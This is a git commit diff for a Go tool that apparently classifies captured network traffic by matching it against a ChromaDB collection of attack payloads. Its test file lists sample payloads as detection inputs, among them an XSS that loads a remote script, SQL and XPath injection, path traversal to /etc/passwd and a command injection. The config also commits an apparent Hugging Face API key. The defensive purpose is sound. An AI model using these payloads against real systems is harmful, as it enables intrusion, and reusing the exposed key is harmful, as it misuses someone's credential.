changed analysis strategy

categorizer/analysis/ChromaAnalyser.go

@@ -6,6 +6,8 @@ import (
 	"fmt"
 	"github.com/amikos-tech/chroma-go"
 	"github.com/amikos-tech/chroma-go/hf"
+	"os/exec"
+	"strings"
 )
 
 type ChromaAnalyser struct {
@@ -28,7 +30,7 @@ func NewChromaAnalyser(ctx context.Context, address string, port uint16, collect
 }
 
 func (a *ChromaAnalyser) Analyse(ctx context.Context, cancel context.CancelFunc, stream retrieve.Result, result chan<- StaticAnalysisResult) {
-	qr, err := a.collection.Query(ctx, []string{stream.Stream}, 5, nil, nil, nil)
+	/*qr, err := a.collection.Query(ctx, []string{stream.Stream}, 5, nil, nil, nil)
 	if err != nil {
 		fmt.Printf("Error querying: %v\n", err)
 		cancel()
@@ -37,9 +39,27 @@ func (a *ChromaAnalyser) Analyse(ctx context.Context, cancel context.CancelFunc,
 
 	var res StaticAnalysisResult
 	for i, id := range qr.Ids[0] {
+		if qr.Distances[0][i] > 1.0 {
+			id = "SAFE"
+		}
 		res.MostLikelyCategories[i] = id
 		res.SrcPort = stream.SrcPort
+	}*/
+
+	var res StaticAnalysisResult
+
+	cmd := exec.Command("analysis/StaticAnalyser.py", stream.Stream)
+	qrRes, err := cmd.Output()
+	if err != nil {
+		fmt.Printf("Error executing command: %v", err)
+		return
 	}
+	strRes := strings.TrimSpace(string(qrRes))
+	strRes = strings.ReplaceAll(strRes, "'", "")
+	strRes = strRes[1 : len(strRes)-1]
+
+	res.MostLikelyCategories = [5]string(strings.Split(strRes, ", "))
+	res.SrcPort = stream.SrcPort
 
 	result <- res
 	return

categorizer/analysis/StaticAnalyser.py

@@ -0,0 +1,25 @@
+#!/usr/bin/python3
+import chromadb
+import sys
+
+HOST = 'localhost'
+PORT = 8000
+COLL = 'payloads'
+
+def main():
+    args = sys.argv[1:]
+    client = chromadb.HttpClient(HOST, PORT)
+    coll = client.get_collection(COLL)
+
+    query_res = coll.query(query_texts = args, n_results=5)
+    res = []
+    for i in range(5):
+        if query_res['distances'][0][i] < 1.0:
+            res.append(query_res['ids'][0][i])
+        else:
+            res.append('safe')
+
+    print(res)
+
+if __name__ == '__main__':
+    main()

categorizer/categorizer.go

@@ -12,18 +12,17 @@ import (
 )
 
 func main() {
-	var args []string
 	if len(os.Args) > 1 {
-		args = os.Args[1:]
-	}
+		args := os.Args[1:]
 
-	if args[0] == "-h" {
-		fmt.Println("Usage: ")
-		fmt.Println("\nOptions:\nEdit the config.json file located in the config folder." +
-			"\n- Retriever: \n\tallowed types: Caronte, Tulip (default Caronte)\n\taddress, port: address and port where the Caronte instance is running (usually localhost, 3333)" +
-			"\n- Analyser: \n\tallowed types: ChromaDB\n\taddress, port: address and port where the ChromaDB server is running (usually localhost, 8000)\n\tapikey: insert your HF api key" +
-			"\n- Log: true/false (default true)\n\tselect true if you want a persistent output over a log file")
-		return
+		if args[0] == "-h" {
+			fmt.Println("Usage: ")
+			fmt.Println("\nOptions:\nEdit the config.json file located in the config folder." +
+				"\n- Retriever: \n\tallowed types: Caronte, Tulip (default Caronte)\n\taddress, port: address and port where the Caronte instance is running (usually localhost, 3333)" +
+				"\n- Analyser: \n\tallowed types: ChromaDB\n\taddress, port: address and port where the ChromaDB server is running (usually localhost, 8000)\n\tapikey: insert your HF api key" +
+				"\n- Log: true/false (default true)\n\tselect true if you want a persistent output over a log file")
+			return
+		}
 	}
 
 	ctx, cancel := context.WithCancel(context.Background())
@@ -42,17 +41,17 @@ func main() {
 	// Instantiate the RetrieverController
 	switch cfg.Retriever.Type {
 	case "Caronte":
-		rtc = controllers.NewRetrieverController(ctx, queue, retrieve.NewCaronteRetriever(cfg.Retriever.Address, cfg.Retriever.Port))
+		rtc = controllers.NewRetrieverController(ctx, queue, retrieve.NewCaronteRetriever(cfg.Retriever.Host, cfg.Retriever.Port))
 	case "Tulip":
-		rtc = controllers.NewRetrieverController(ctx, queue, retrieve.NewTulipRetriever(cfg.Retriever.Address, cfg.Retriever.Port))
+		rtc = controllers.NewRetrieverController(ctx, queue, retrieve.NewTulipRetriever(cfg.Retriever.Host, cfg.Retriever.Port))
 	default:
-		rtc = controllers.NewRetrieverController(ctx, queue, retrieve.NewCaronteRetriever(cfg.Retriever.Address, cfg.Retriever.Port))
+		rtc = controllers.NewRetrieverController(ctx, queue, retrieve.NewCaronteRetriever(cfg.Retriever.Host, cfg.Retriever.Port))
 	}
 
 	otc := controllers.NewOutputController(ctx, results, cfg.Log)
 
 	// Instantiate the ChromaAnalyser
-	chr, err := analysis.NewChromaAnalyser(ctx, cfg.Analyser.Address, cfg.Analyser.Port, cfg.Analyser.Collection, cfg.Analyser.ApiKey)
+	chr, err := analysis.NewChromaAnalyser(ctx, cfg.Analyser.Host, cfg.Analyser.Port, cfg.Analyser.Collection, cfg.Analyser.ApiKey)
 
 	anc := controllers.NewAnalysisController(ctx, queue, chr)
 

categorizer/config/ConfigHandler.go

@@ -7,17 +7,17 @@ import (
 )
 
 type RetrieverConfig struct {
-	Type    string `json:"type"`
-	Address string `json:"address"`
-	Port    uint16 `json:"port"`
+	Type string `json:"type"`
+	Host string `json:"host"`
+	Port uint16 `json:"port"`
 }
 
 type AnalyserConfig struct {
 	Type       string `json:"type"`
-	Address    string `json:"address"`
+	Host       string `json:"host"`
 	Port       uint16 `json:"port"`
 	Collection string `json:"collection"`
-	ApiKey     string `json:"api_key"`
+	ApiKey     string `json:"apiKey"`
 }
 
 type Config struct {

categorizer/config/config.json

@@ -1,17 +1,16 @@
+
 {
-  "configs": {
     "retriever": {
-      "type": "Caronte",
+      "type": "Tulip",
       "host": "localhost",
-      "port": 3333
+      "port": 3000
     },
-    "analyzer": {
+    "analyser": {
       "type": "ChromaDB",
       "host": "localhost",
       "port": 8000,
       "collection": "payloads",
-      "apiKey": ""
+      "apiKey": "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"
     },
     "log": true
-  }
-}
+}

categorizer/controllers/AnalysisController.go

@@ -5,6 +5,7 @@ import (
 	"categorizer/retrieve"
 	"context"
 	"fmt"
+	"strings"
 )
 
 type AnalysisController struct {
@@ -29,7 +30,11 @@ func (a *AnalysisController) Start(exit <-chan bool, cancel context.CancelFunc)
 			fmt.Println("RetrieverController: task stopped")
 			return
 		case stream := <-a.queue:
-			go a.analyser.Analyse(a.ctx, stream, a.results)
+			streams := strings.Split(stream.Stream, "\n")
+			for _, s := range streams {
+				newStream := retrieve.Result{Stream: s, SrcPort: stream.SrcPort}
+				go a.analyser.Analyse(a.ctx, cancel, newStream, a.results)
+			}
 		}
 	}
 }

categorizer/tests/CaronteRetriever_test.go

@@ -10,20 +10,20 @@ func TestCaronteRetriever(t *testing.T) {
 	address := "0.0.0.0"
 	port := 3333
 
-	ctx := context.Background()
+	ctx, cancel := context.WithCancel(context.Background())
 	queue := make(chan retrieve.Result)
 
 	retriever := retrieve.NewCaronteRetriever(address, uint16(port))
 
-	go retriever.Retrieve(ctx, queue)
+	go retriever.Retrieve(ctx, cancel, queue)
 
 	for i := 0; i < 1000; i++ {
 		select {
 		case result := <-queue:
 			t.Log(result)
 		}
 	}
-	ctx.Done()
+	cancel()
 	close(queue)
 	return
 }

categorizer/tests/ConfigHandler_test.go

@@ -0,0 +1,25 @@
+package tests
+
+import (
+	"categorizer/config"
+	"testing"
+)
+
+func TestParseConfig(t *testing.T) {
+	cfg, err := config.ParseConfig("../config/config.json")
+	if err != nil {
+		t.Error("Error parsing config file")
+	}
+
+	t.Log(cfg)
+
+	if cfg.Retriever.Type != "Tulip" {
+		t.Error("Error parsing Retriever.Type")
+	}
+	if cfg.Retriever.Host != "localhost" {
+		t.Error("Error parsing Retriever.Address")
+	}
+	if cfg.Retriever.Port != 3000 {
+		t.Error("Error parsing Retriever.Port")
+	}
+}

categorizer/tests/StaticAnalyser_test.go

@@ -4,36 +4,53 @@ import (
 	"categorizer/analysis"
 	"categorizer/retrieve"
 	"context"
+	"fmt"
+	"strings"
 	"testing"
 )
 
 func TestStaticAnalyser(t *testing.T) {
-	ctx := context.Background()
-	address := "localhost"
+	ctx, cancel := context.WithCancel(context.Background())
+	address := "0.0.0.0"
 	port := uint16(8000)
 	results := make(chan analysis.StaticAnalysisResult)
 
 	//fmt.Printf("%s\n", os.Getenv("HF_API_KEY"))
 
-	analyser, err := analysis.NewChromaAnalyser(ctx, address, port, "payloads", "API_KEY")
+	analyser, err := analysis.NewChromaAnalyser(ctx, address, port, "payloads", "API_KEY_HERE")
 	if err != nil {
 		t.Errorf("Error creating analyser: %v", err)
 	}
 
-	var tests [5]retrieve.Result
+	var tests [7]retrieve.Result
 	tests[0] = retrieve.Result{Stream: "<svg onload=setInterval(function(){with(document)body.appendChild(createElement('script')).src='//HOST:PORT'},0)>", SrcPort: 9999}
 	tests[1] = retrieve.Result{Stream: "admin' and substring(password/text(),1,1)='7", SrcPort: 1234}
 	tests[2] = retrieve.Result{Stream: "'))) and 0=benchmark(3000000,MD5(1))%20--", SrcPort: 46525}
 	tests[3] = retrieve.Result{Stream: "/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/etc/passwd", SrcPort: 2222}
 	tests[4] = retrieve.Result{Stream: ";system('/usr/bin/id')", SrcPort: 8080}
+	tests[5] = retrieve.Result{Stream: "POST /login HTTP/1.1\n        Host: 10.10.3.1:5000\n        Connection: keep-alive\n        Accept-Encoding: gzip, deflate\n        Accept: */*\n        User-Agent: python-requests/2.19.1\n        Content-Length: 32\n        Content-Type: application/x-www-form-urlencoded\n        \n        password='+OR+1='1--&name=L4mgZTQs64Zj0RGET /stars HTTP/1.1\n        Host: 10.10.3.1:5000\n        Connection: keep-alive\n        Accept-Encoding: gzip, deflate\n        Accept: */*\n        User-Agent: python-requests/2.19.1", SrcPort: 5000}
+	tests[6] = retrieve.Result{Stream: "'+OR+1='1--", SrcPort: 6000}
 
 	for _, test := range tests {
-		go analyser.Analyse(ctx, test, results)
-		select {
-		case res := <-results:
-			t.Log("Risultato: ", res)
+		res := strings.Split(test.Stream, "\n")
+		for _, r := range res {
+			fmt.Println("Stream: ", r)
+			temp := retrieve.Result{Stream: strings.TrimSpace(r), SrcPort: test.SrcPort}
+			go analyser.Analyse(ctx, cancel, temp, results)
+			//cmd := exec.Command("../analysis/StaticAnalyser.py", r)
+			//res, err := cmd.Output()
+			if err != nil {
+				t.Errorf("Error")
+			}
+			//t.Log("Risultato: ", string(res))
+			select {
+			case res := <-results:
+				t.Log("Risultato: ", res)
+			}
 		}
+
 	}
 	close(results)
+	cancel()
 	return
 }

categorizer/tests/TulipRetriever_test.go

@@ -10,20 +10,20 @@ func TestTulipRetriever(t *testing.T) {
 	address := "0.0.0.0"
 	port := 3000
 
-	ctx := context.Background()
+	ctx, cancel := context.WithCancel(context.Background())
 	queue := make(chan retrieve.Result)
 
 	retriever := retrieve.NewTulipRetriever(address, uint16(port))
 
-	go retriever.Retrieve(ctx, queue)
+	go retriever.Retrieve(ctx, cancel, queue)
 
 	for i := 0; i < 10; i++ {
 		select {
 		case result := <-queue:
 			t.Log(result)
 		}
 	}
-	ctx.Done()
+	cancel()
 	close(queue)
 	return
 }